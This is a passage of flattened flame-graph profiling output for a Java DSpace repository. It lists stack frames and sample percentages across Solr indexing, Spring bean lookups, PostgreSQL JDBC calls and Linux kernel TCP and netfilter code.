samples, 0.09%) + + + +org/springframework/context/support/AbstractApplicationContext$BeanPostProcessorChecker:::postProcessAfterInitialization (1 samples, 0.09%) + + + +java/util/Formatter:::format (15 samples, 1.37%) + + + +org/apache/solr/common/SolrInputDocument:::addField (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +iptable_security_hook (1 samples, 0.09%) + + + +ext4_do_update_inode (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (4 samples, 0.36%) + + + +java/util/regex/Pattern$Begin:::match (5 samples, 0.46%) + + + +[libjvm.so] (2 samples, 0.18%) + + + +refcount_sub_and_test_checked (2 samples, 0.18%) + + + +bbr_update_model (2 samples, 0.18%) + + + +__GI___libc_open (1 samples, 0.09%) + + + +deactivate_task (1 samples, 0.09%) + + + +org/dspace/content/DSpaceObject:::getMetadata (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/TableRow:::getIntColumn (1 samples, 0.09%) + + + +tcp_in_window (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeQuery (3 samples, 0.27%) + + + +java/util/regex/Pattern$CharProperty:::match (2 samples, 0.18%) + + + +org/apache/commons/dbcp/DelegatingStatement:::close (3 samples, 0.27%) + + + +nf_hook_slow (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +org/apache/commons/dbcp/PoolablePreparedStatement:::close (2 samples, 0.18%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::close (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (3 samples, 0.27%) + + + +iptable_mangle_hook (1 samples, 0.09%) + + + +org/apache/commons/dbcp/PoolingDataSource$PoolGuardConnectionWrapper:::prepareStatement (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (1 samples, 0.09%) + + + +java/util/regex/Pattern$BranchConn:::match (2 samples, 0.18%) + + + +ipv4_conntrack_in (2 samples, 0.18%) + + + +Interpreter (1 samples, 0.09%) + + + +tcp_v4_do_rcv (1 samples, 0.09%) + + + +java/lang/Class:::getEnclosingMethod0 (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (3 samples, 0.27%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (5 samples, 0.46%) + + + +tcp_v4_conn_request (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (1 samples, 0.09%) + + + +tcp_v4_do_rcv (41 samples, 3.73%) +tcp_.. + + +org/apache/commons/dbcp/DelegatingStatement:::close (1 samples, 0.09%) + + + +java/util/regex/Pattern$Curly:::match0 (1 samples, 0.09%) + + + +ip_local_deliver_finish (51 samples, 4.64%) +ip_lo.. + + +org/dspace/storage/rdbms/DatabaseManager:::find (12 samples, 1.09%) + + + +nft_lookup_eval (1 samples, 0.09%) + + + +org/apache/commons/pool/impl/GenericObjectPool:::borrowObject (6 samples, 0.55%) + + + +irq_exit (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +java/util/HashMap:::put (2 samples, 0.18%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +org/apache/commons/dbcp/PoolingConnection$PStmtKey:::hashCode (1 samples, 0.09%) + + + +java/net/SocketInputStream:::socketRead0 (13 samples, 1.18%) + + + +run_rebalance_domains (1 samples, 0.09%) + + + +vfs_write (2 samples, 0.18%) + + + +handle_irq_event_percpu (1 samples, 0.09%) + + + +nf_conntrack_in (1 samples, 0.09%) + + + +java/util/regex/Pattern$CharProperty:::match (1 samples, 0.09%) + + + +java/util/AbstractCollection:::addAll (1 samples, 0.09%) + + + +org/springframework/core/convert/support/GenericConversionService:::addConverter (18 samples, 1.64%) + + + +ctx_sched_in (1 samples, 0.09%) + + + +org/postgresql/core/PGStream:::ReceiveTupleV3 (1 samples, 0.09%) + + + +[libjvm.so] (9 samples, 0.82%) + + + +dec_pending (1 samples, 0.09%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::execute (2 samples, 0.18%) + + + +ip_queue_xmit (137 samples, 12.48%) +ip_queue_xmit + + +org/apache/commons/dbcp/DelegatingStatement:::close (1 samples, 0.09%) + + + +acpi_os_read_port (1 samples, 0.09%) + + + +iptable_filter_hook (3 samples, 0.27%) + + + +com/atmire/dspace/discovery/AtmireSolrService:::logduration (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/DatabaseManager:::loadParameters (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (2 samples, 0.18%) + + + +org/dspace/storage/rdbms/DatabaseManager:::find (1 samples, 0.09%) + + + +ip_protocol_deliver_rcu (1 samples, 0.09%) + + + +java/lang/AbstractStringBuilder:::append (1 samples, 0.09%) + + + +__fget (1 samples, 0.09%) + + + +acpi_ev_gpe_detect (1 samples, 0.09%) + + + +tcp_rcv_space_adjust (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/TableRowIterator:::hasNext (4 samples, 0.36%) + + + +java/util/regex/Pattern$GroupTail:::match (4 samples, 0.36%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::processResults (4 samples, 0.36%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (5 samples, 0.46%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::sendSync (1 samples, 0.09%) + + + +jshort_arraycopy (1 samples, 0.09%) + + + +Interpreter (1 samples, 0.09%) + + + +nf_nat_ipv4_local_fn (1 samples, 0.09%) + + + +jlong_disjoint_arraycopy (3 samples, 0.27%) + + + +org/springframework/beans/factory/support/DefaultListableBeanFactory:::getBeansOfType (114 samples, 10.38%) +org/springframe.. + + +update_cfs_group (1 samples, 0.09%) + + + +kmem_cache_alloc_node (4 samples, 0.36%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::receiveFields (1 samples, 0.09%) + + + +tcp_current_mss (1 samples, 0.09%) + + + +java/net/SocketInputStream:::read (1 samples, 0.09%) + + + +skb_copy_datagram_iter (1 samples, 0.09%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeWithFlags (3 samples, 0.27%) + + + +read_tsc (1 samples, 0.09%) + + + +__wake_up_common (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (1 samples, 0.09%) + + + +java/util/regex/Pattern:::RemoveQEQuoting (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (3 samples, 0.27%) + + + +org/apache/http/protocol/ImmutableHttpProcessor:::process (1 samples, 0.09%) + + + +java/io/FileOutputStream:::write (3 samples, 0.27%) + + + +java/util/LinkedHashMap$LinkedValueIterator:::next (1 samples, 0.09%) + + + +tcp_sendmsg_locked (180 samples, 16.39%) +tcp_sendmsg_locked + + +tcp_release_cb (2 samples, 0.18%) + + + +entry_SYSCALL_64_after_hwframe (6 samples, 0.55%) + + + +wake_up_bit (1 samples, 0.09%) + + + +java/util/regex/Pattern$BitClass:::isSatisfiedBy (1 samples, 0.09%) + + + +vfs_write (2 samples, 0.18%) + + + +_raw_spin_unlock_irqrestore (1 samples, 0.09%) + + + +nft_do_chain (5 samples, 0.46%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/DatabaseManager:::queryTable (5 samples, 0.46%) + + + +ext4_file_write_iter (2 samples, 0.18%) + + + +java/util/HashMap:::resize (1 samples, 0.09%) + + + +default_wake_function (21 samples, 1.91%) +d.. + + +[libjvm.so] (1 samples, 0.09%) + + + +nf_conntrack_tcp_packet (2 samples, 0.18%) + + + +JVM_DoPrivileged (1 samples, 0.09%) + + + +entry_SYSCALL_64_after_hwframe (54 samples, 4.92%) +entry_.. + + +org/apache/commons/logging/LogFactory$1:::run (11 samples, 1.00%) + + + +org/apache/log4j/helpers/PatternConverter:::format (1 samples, 0.09%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::processResults (2 samples, 0.18%) + + + +__audit_syscall_exit (1 samples, 0.09%) + + + +org/apache/commons/dbcp/PoolablePreparedStatement:::close (1 samples, 0.09%) + + + +apic_timer_interrupt (1 samples, 0.09%) + + + +bbr_quantization_budget (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/DatabaseManager:::getColumnNames (1 samples, 0.09%) + + + +acpi_ev_gpe_detect (1 samples, 0.09%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::execute (3 samples, 0.27%) + + + +jbyte_disjoint_arraycopy (1 samples, 0.09%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeQuery (7 samples, 0.64%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::execute (1 samples, 0.09%) + + + +do_IRQ (1 samples, 0.09%) + + + +org/apache/http/impl/io/SocketInputBuffer:::isDataAvailable (2 samples, 0.18%) + + + +[libjvm.so] (3 samples, 0.27%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +pthread_mutex_unlock (1 samples, 0.09%) + + + +entry_SYSCALL_64_after_hwframe (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (9 samples, 0.82%) + + + +pollwake (21 samples, 1.91%) +p.. + + +group_sched_in (1 samples, 0.09%) + + + +task_ctx_sched_out (2 samples, 0.18%) + + + +org/postgresql/core/PGStream:::ReceiveTupleV3 (4 samples, 0.36%) + + + +do_sys_poll (6 samples, 0.55%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (5 samples, 0.46%) + + + +org/apache/commons/pool/impl/GenericKeyedObjectPool:::borrowObject (1 samples, 0.09%) + + + +hrtimer_init_sleeper (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (2 samples, 0.18%) + + + +org/apache/http/protocol/HttpRequestExecutor:::preProcess (1 samples, 0.09%) + + + +com/atmire/dspace/discovery/ItemCollectionPlugin:::additionalIndex (5 samples, 0.46%) + + + +[libnet.so] (1 samples, 0.09%) + + + +tcp_v4_rcv (1 samples, 0.09%) + + + +java/util/StringTokenizer:::nextToken (1 samples, 0.09%) + + + +Java_java_net_SocketOutputStream_socketWrite0 (1 samples, 0.09%) + + + +schedule_hrtimeout_range (3 samples, 0.27%) + + + +do_syscall_64 (1 samples, 0.09%) + + + +entry_SYSCALL_64_after_hwframe (3 samples, 0.27%) + + + +nft_do_chain (22 samples, 2.00%) +n.. + + +[libjvm.so] (1 samples, 0.09%) + + + +nf_hook_slow (8 samples, 0.73%) + + + +__tcp_send_ack.part.0 (1 samples, 0.09%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeQuery (1 samples, 0.09%) + + + +java/security/AccessController:::doPrivileged (2 samples, 0.18%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::processResults (1 samples, 0.09%) + + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::createMethod (39 samples, 3.55%) +org.. + + +org/dspace/storage/rdbms/DatabaseManager:::loadParameters (1 samples, 0.09%) + + + +tcp_ack (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (4 samples, 0.36%) + + + +__handle_irq_event_percpu (1 samples, 0.09%) + + + +__wake_up_common_lock (22 samples, 2.00%) +_.. + + +java/util/HashMap:::get (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +__release_sock (1 samples, 0.09%) + + + +org/apache/solr/common/util/JavaBinCodec:::readArray (1 samples, 0.09%) + + + +org/dspace/servicemanager/DSpaceServiceManager:::getServicesByType (115 samples, 10.47%) +org/dspace/serv.. + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (2 samples, 0.18%) + + + +Interpreter (1 samples, 0.09%) + + + +__send (213 samples, 19.40%) +__send + + +org/apache/commons/dbcp/DelegatingResultSet:::wasNull (1 samples, 0.09%) + + + +java/text/DateFormatSymbols:::getProviderInstance (1 samples, 0.09%) + + + +ip_finish_output (1 samples, 0.09%) + + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::createMethod (7 samples, 0.64%) + + + +java/net/URI:::<init> (1 samples, 0.09%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::processResults (4 samples, 0.36%) + + + +org/dspace/content/DSpaceObject:::getMetadata (3 samples, 0.27%) + + + +com/atmire/dspace/discovery/AtmireSolrService:::indexContent (703 samples, 64.03%) +com/atmire/dspace/discovery/AtmireSolrService:::indexContent + + +org/dspace/storage/rdbms/DatabaseManager:::process (4 samples, 0.36%) + + + +org/apache/http/impl/conn/ManagedClientConnectionImpl:::sendRequestEntity (31 samples, 2.82%) +or.. + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeWithFlags (1 samples, 0.09%) + + + +__hrtimer_get_next_event (1 samples, 0.09%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::processResults (1 samples, 0.09%) + + + +blk_mq_complete_request (1 samples, 0.09%) + + + +org/apache/http/impl/client/AbstractHttpClient:::doExecute (38 samples, 3.46%) +org.. + + +try_to_wake_up (1 samples, 0.09%) + + + +Java_java_net_SocketInputStream_socketRead0 (1 samples, 0.09%) + + + +sock_def_readable (23 samples, 2.09%) +s.. + + +org/dspace/storage/rdbms/DatabaseManager:::queryTable (6 samples, 0.55%) + + + +ip_local_deliver_finish (1 samples, 0.09%) + + + +[libjvm.so] (747 samples, 68.03%) +[libjvm.so] + + +org/apache/http/protocol/RequestContent:::process (1 samples, 0.09%) + + + +do_IRQ (1 samples, 0.09%) + + + +sockfd_lookup_light (1 samples, 0.09%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeQuery (4 samples, 0.36%) + + + +org/dspace/storage/rdbms/DatabaseManager:::queryTable (1 samples, 0.09%) + + + +smp_apic_timer_interrupt (1 samples, 0.09%) + + + +[libjvm.so] (747 samples, 68.03%) +[libjvm.so] + + +org/springframework/core/convert/support/ArrayToObjectConverter:::getConvertibleTypes (1 samples, 0.09%) + + + +__netif_receive_skb (92 samples, 8.38%) +__netif_rec.. + + +ip_finish_output2 (108 samples, 9.84%) +ip_finish_outp.. + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (3 samples, 0.27%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::tryExecute (33 samples, 3.01%) +org.. + + +__local_bh_enable_ip (1 samples, 0.09%) + + + +_copy_to_iter (1 samples, 0.09%) + + + +simple_copy_to_iter (1 samples, 0.09%) + + + +[libjava.so] (3 samples, 0.27%) + + + +org/dspace/content/Item:::getCollections (5 samples, 0.46%) + + + +iptable_mangle_hook (2 samples, 0.18%) + + + +__hrtimer_next_event_base (1 samples, 0.09%) + + + +__ip_queue_xmit (137 samples, 12.48%) +__ip_queue_xmit + + +org/dspace/storage/rdbms/DatabaseManager:::queryTable (8 samples, 0.73%) + + + +__memmove_avx_unaligned_erms (1 samples, 0.09%) + + + +enqueue_entity (1 samples, 0.09%) + + + +org/apache/solr/common/SolrInputDocument:::addField (2 samples, 0.18%) + + + +ip_queue_xmit (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::setInt (1 samples, 0.09%) + + + +_register_finalizer_Java (1 samples, 0.09%) + + + +tcp_v4_connect (1 samples, 0.09%) + + + +ttwu_do_wakeup (2 samples, 0.18%) + + + +org/springframework/beans/TypeConverterDelegate:::doConvertValue (1 samples, 0.09%) + + + +do_softirq_own_stack (1 samples, 0.09%) + + + +java/net/SocketInputStream:::read (1 samples, 0.09%) + + + +java/lang/String:::toLowerCase (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/DatabaseManager:::getColumnNames (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingResultSet:::getInt (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (3 samples, 0.27%) + + + +jbyte_disjoint_arraycopy (2 samples, 0.18%) + + + +java/net/SocketInputStream:::read (1 samples, 0.09%) + + + +__poll (3 samples, 0.27%) + + + +ipt_do_table (1 samples, 0.09%) + + + +net_rx_action (1 samples, 0.09%) + + + +_raw_spin_unlock_bh (1 samples, 0.09%) + + + +nft_ct_get_eval (1 samples, 0.09%) + + + +jbyte_disjoint_arraycopy (1 samples, 0.09%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::execute (1 samples, 0.09%) + + + +nft_do_chain (1 samples, 0.09%) + + + +_register_finalizer_Java (2 samples, 0.18%) + + + +ctx_sched_out (2 samples, 0.18%) + + + +org/apache/http/impl/conn/HttpPoolEntry:::close (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/DatabaseManager:::process (16 samples, 1.46%) + + + +java/lang/ref/Finalizer:::register (1 samples, 0.09%) + + + +java/util/regex/Pattern$CharProperty:::match (1 samples, 0.09%) + + + +java/util/regex/Pattern$CharProperty:::match (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/DatabaseManager:::loadParameters (1 samples, 0.09%) + + + +org/dspace/content/Bundle:::getBitstreams (1 samples, 0.09%) + + + +__tcp_push_pending_frames (1 samples, 0.09%) + + + +[libjvm.so] (7 samples, 0.64%) + + + +org/dspace/storage/rdbms/DatabaseManager:::process (1 samples, 0.09%) + + + +__fget_light (2 samples, 0.18%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::execute (1 samples, 0.09%) + + + +java/net/SocketOutputStream:::socketWrite0 (1 samples, 0.09%) + + + +__fdget (1 samples, 0.09%) + + + +dequeue_task_fair (7 samples, 0.64%) + + + +org/springframework/beans/factory/support/DefaultSingletonBeanRegistry:::getSingleton (2 samples, 0.18%) + + + +[libjava.so] (2 samples, 0.18%) + + + +java/net/SocketOutputStream:::socketWrite0 (1 samples, 0.09%) + + + +ipv4_conntrack_local (6 samples, 0.55%) + + + +ip_finish_output2 (1 samples, 0.09%) + + + +org/springframework/beans/TypeConverterDelegate:::convertIfNecessary (95 samples, 8.65%) +org/springfr.. + + +[libjvm.so] (2 samples, 0.18%) + + + +org/apache/commons/dbcp/DelegatingResultSet:::getInt (1 samples, 0.09%) + + + +[libjvm.so] (3 samples, 0.27%) + + + +tcp_v4_inbound_md5_hash (1 samples, 0.09%) + + + +entry_SYSCALL_64_after_hwframe (207 samples, 18.85%) +entry_SYSCALL_64_after_hwframe + + +org/postgresql/core/v3/QueryExecutorImpl:::processResults (1 samples, 0.09%) + + + +ext4_lookup (1 samples, 0.09%) + + + +[libjvm.so] (14 samples, 1.28%) + + + +org/dspace/discovery/SolrServiceImpl:::buildDocument (1 samples, 0.09%) + + + +org/apache/http/impl/io/ChunkedOutputStream:::flushCacheWithAppend (3 samples, 0.27%) + + + +ipv4_mtu (3 samples, 0.27%) + + + +java/net/SocketInputStream:::read (1 samples, 0.09%) + + + +jbyte_disjoint_arraycopy (1 samples, 0.09%) + + + +process_backlog (94 samples, 8.56%) +process_back.. + + +tick_sched_timer (1 samples, 0.09%) + + + +org/dspace/core/Context:::cache (1 samples, 0.09%) + + + +[libjvm.so] (2 samples, 0.18%) + + + +java/util/HashMap:::put (1 samples, 0.09%) + + + +__generic_file_write_iter (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/DatabaseManager:::find (1 samples, 0.09%) + + + +blk_update_request (1 samples, 0.09%) + + + +[libjvm.so] (3 samples, 0.27%) + + + +handle_edge_irq (1 samples, 0.09%) + + + +org/apache/solr/common/util/JavaBinCodec:::readVal (1 samples, 0.09%) + + + +java/net/SocketOutputStream:::socketWrite0 (3 samples, 0.27%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/DatabaseManager:::findByUnique (12 samples, 1.09%) + + + +try_to_wake_up (20 samples, 1.82%) +t.. + + +org/apache/http/protocol/HttpRequestExecutor:::doReceiveResponse (2 samples, 0.18%) + + + +__inet_lookup_established (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +org/dspace/content/Item:::find (21 samples, 1.91%) +o.. + + +java/nio/charset/CharsetEncoder:::encode (9 samples, 0.82%) + + + +queued_spin_lock_slowpath (1 samples, 0.09%) + + + +ipt_do_table (3 samples, 0.27%) + + + +do_syscall_64 (2 samples, 0.18%) + + + +org/dspace/content/DSpaceObject:::getMetadata (30 samples, 2.73%) +or.. + + +org/apache/commons/dbcp/DelegatingResultSet:::getInt (1 samples, 0.09%) + + + +org/springframework/context/annotation/CommonAnnotationBeanPostProcessor:::findResourceMetadata (1 samples, 0.09%) + + + +java/net/URI:::<init> (1 samples, 0.09%) + + + +java/lang/String:::equals (1 samples, 0.09%) + + + +smp_apic_timer_interrupt (1 samples, 0.09%) + + + +_register_finalizer_Java (1 samples, 0.09%) + + + +__libc_enable_asynccancel (1 samples, 0.09%) + + + +__libc_disable_asynccancel (3 samples, 0.27%) + + + +Interpreter (1 samples, 0.09%) + + + +nf_hook_slow (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +Java_java_net_SocketOutputStream_socketWrite0 (1 samples, 0.09%) + + + +handle_edge_irq (1 samples, 0.09%) + + + +org/dspace/content/Item:::getCollections (30 samples, 2.73%) +or.. + + +__fdget (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +java/net/SocketInputStream:::socketRead0 (1 samples, 0.09%) + + + +__hrtimer_init (1 samples, 0.09%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::setInt (1 samples, 0.09%) + + + +acpi_irq (1 samples, 0.09%) + + + +java/util/regex/Pattern:::clazz (1 samples, 0.09%) + + + +java/lang/String:::split (3 samples, 0.27%) + + + +org/dspace/storage/rdbms/DatabaseManager:::queryTable (9 samples, 0.82%) + + + +org/apache/http/impl/conn/ManagedClientConnectionImpl:::flush (1 samples, 0.09%) + + + +ExceptionBlob (1 samples, 0.09%) + + + +__vfprintf_internal (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +clone_endio (1 samples, 0.09%) + + + +_register_finalizer_Java (1 samples, 0.09%) + + + +org/dspace/content/DSpaceObject:::getMetadataByMetadataString (1 samples, 0.09%) + + + +JVM_MonitorNotifyAll (1 samples, 0.09%) + + + +org/apache/solr/client/solrj/request/QueryRequest:::getParams (1 samples, 0.09%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeQuery (2 samples, 0.18%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (1 samples, 0.09%) + + + +__perf_event_task_sched_in (5 samples, 0.46%) + + + +[libjvm.so] (8 samples, 0.73%) + + + +java/util/regex/Pattern:::sequence (6 samples, 0.55%) + + + +__handle_irq_event_percpu (1 samples, 0.09%) + + + +__netif_receive_skb (1 samples, 0.09%) + + + +__sched_text_start (5 samples, 0.46%) + + + +java/lang/reflect/Method:::invoke (747 samples, 68.03%) +java/lang/reflect/Method:::invoke + + +[libjvm.so] (1 samples, 0.09%) + + + +java/lang/AbstractStringBuilder:::append (1 samples, 0.09%) + + + +java/lang/String:::toLowerCase (1 samples, 0.09%) + + + +nft_hash_lookup_fast (2 samples, 0.18%) + + + +jlong_disjoint_arraycopy (1 samples, 0.09%) + + + +tcp_v4_send_synack (1 samples, 0.09%) + + + +java/lang/String:::toLowerCase (8 samples, 0.73%) + + + +java/lang/Class:::forName0 (3 samples, 0.27%) + + + +org/dspace/eperson/Group:::find (20 samples, 1.82%) +o.. + + +itable stub (1 samples, 0.09%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::execute (24 samples, 2.19%) +o.. + + +org/apache/solr/client/solrj/request/RequestWriter$LazyContentStream:::getName (52 samples, 4.74%) +org/a.. + + +[libjvm.so] (1 samples, 0.09%) + + + +[libjvm.so] (3 samples, 0.27%) + + + +org/apache/commons/dbcp/DelegatingResultSet:::next (1 samples, 0.09%) + + + +dev_hard_start_xmit (3 samples, 0.27%) + + + +Java_java_net_SocketOutputStream_socketWrite0 (1 samples, 0.09%) + + + +org/dspace/content/DSpaceObject:::getMetadata (2 samples, 0.18%) + + + +org/apache/solr/common/params/ModifiableSolrParams:::add (4 samples, 0.36%) + + + +__sys_recvfrom (47 samples, 4.28%) +__sys.. + + +org/postgresql/core/v3/QueryExecutorImpl:::sendBind (1 samples, 0.09%) + + + +_register_finalizer_Java (1 samples, 0.09%) + + + +smp_apic_timer_interrupt (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (4 samples, 0.36%) + + + +org/dspace/storage/rdbms/DatabaseManager:::queryTable (3 samples, 0.27%) + + + +sun/nio/cs/UTF_8$Decoder:::decode (1 samples, 0.09%) + + + +java/net/SocketInputStream:::socketRead0 (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (2 samples, 0.18%) + + + +handle_irq_event (1 samples, 0.09%) + + + +org/apache/http/entity/mime/FormBodyPart:::<init> (16 samples, 1.46%) + + + +org/dspace/servicemanager/spring/SpringServiceManager:::getServicesByType (115 samples, 10.47%) +org/dspace/serv.. + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (7 samples, 0.64%) + + + +read_tsc (1 samples, 0.09%) + + + +[libjvm.so] (3 samples, 0.27%) + + + +acpi_hw_read_port (1 samples, 0.09%) + + + +org/apache/commons/dbcp/PoolablePreparedStatement:::close (1 samples, 0.09%) + + + +__vsnprintf_internal (1 samples, 0.09%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::sendOneQuery (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (2 samples, 0.18%) + + + +java/lang/String:::toLowerCase (1 samples, 0.09%) + + + +JVM_MonitorNotifyAll (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +java/util/regex/Pattern$Curly:::study (2 samples, 0.18%) + + + +__ip_queue_xmit (1 samples, 0.09%) + + + +jshort_disjoint_arraycopy (1 samples, 0.09%) + + + +__sched_text_start (1 samples, 0.09%) + + + +Java_java_net_SocketInputStream_socketRead0 (1 samples, 0.09%) + + + +nft_do_chain_inet (22 samples, 2.00%) +n.. + + +__vdso_gettimeofday (1 samples, 0.09%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::parseSql (1 samples, 0.09%) + + + +java/util/regex/Pattern$Curly:::study (2 samples, 0.18%) + + + +perf_pmu_enable.part.0 (1 samples, 0.09%) + + + +org/springframework/core/convert/support/ObjectToArrayConverter:::getConvertibleTypes (1 samples, 0.09%) + + + +__nf_conntrack_find_get (2 samples, 0.18%) + + + +tcp_rcv_established (39 samples, 3.55%) +tcp.. + + +org/postgresql/core/v3/QueryExecutorImpl:::processResults (1 samples, 0.09%) + + + +loopback_xmit (1 samples, 0.09%) + + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::createMethod (61 samples, 5.56%) +org/apa.. + + +journal_end_buffer_io_sync (1 samples, 0.09%) + + + +__softirqentry_text_start (100 samples, 9.11%) +__softirqentr.. + + +tcp_shutdown (1 samples, 0.09%) + + + +org/springframework/core/convert/support/GenericConversionService$ConverterAdapter:::getConvertibleTypes (1 samples, 0.09%) + + + +java/lang/AbstractStringBuilder:::<init> (1 samples, 0.09%) + + + +do_softirq.part.0 (1 samples, 0.09%) + + + +itable stub (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +bbr_cwnd_event (1 samples, 0.09%) + + + +java/nio/charset/CharsetEncoder:::encode (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (1 samples, 0.09%) + + + +bio_endio (1 samples, 0.09%) + + + +nf_hook_slow (20 samples, 1.82%) +n.. + + +__tcp_transmit_skb (1 samples, 0.09%) + + + +java/net/SocketInputStream:::socketRead0 (1 samples, 0.09%) + + + +[unknown] (64 samples, 5.83%) +[unknown] + + +java/util/regex/Pattern:::escape (1 samples, 0.09%) + + + +java/util/LinkedHashMap:::get (1 samples, 0.09%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeQuery (3 samples, 0.27%) + + + +iptable_filter_hook (1 samples, 0.09%) + + + +nft_do_chain_inet (5 samples, 0.46%) + + + +__errno_location (1 samples, 0.09%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeQuery (2 samples, 0.18%) + + + +java/net/SocketInputStream:::read (1 samples, 0.09%) + + + +org/dspace/content/DSpaceObject:::getMetadata (2 samples, 0.18%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +java/lang/String:::toLowerCase (1 samples, 0.09%) + + + +__softirqentry_text_start (1 samples, 0.09%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeWithFlags (5 samples, 0.46%) + + + +com/atmire/dspace/discovery/HasBitstreamsSSIPlugin:::additionalIndex (1 samples, 0.09%) + + + +tcp_recvmsg (44 samples, 4.01%) +tcp_.. + + +__local_bh_enable_ip (101 samples, 9.20%) +__local_bh_en.. + + +org/postgresql/core/PGStream:::ReceiveTupleV3 (1 samples, 0.09%) + + + +bio_endio (1 samples, 0.09%) + + + +java/lang/String:::equals (1 samples, 0.09%) + + + +java/util/LinkedList$ListItr:::next (1 samples, 0.09%) + + + +__sys_connect (1 samples, 0.09%) + + + +java/util/regex/Pattern$Begin:::match (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/DatabaseManager:::find (4 samples, 0.36%) + + + +ext4_map_blocks (1 samples, 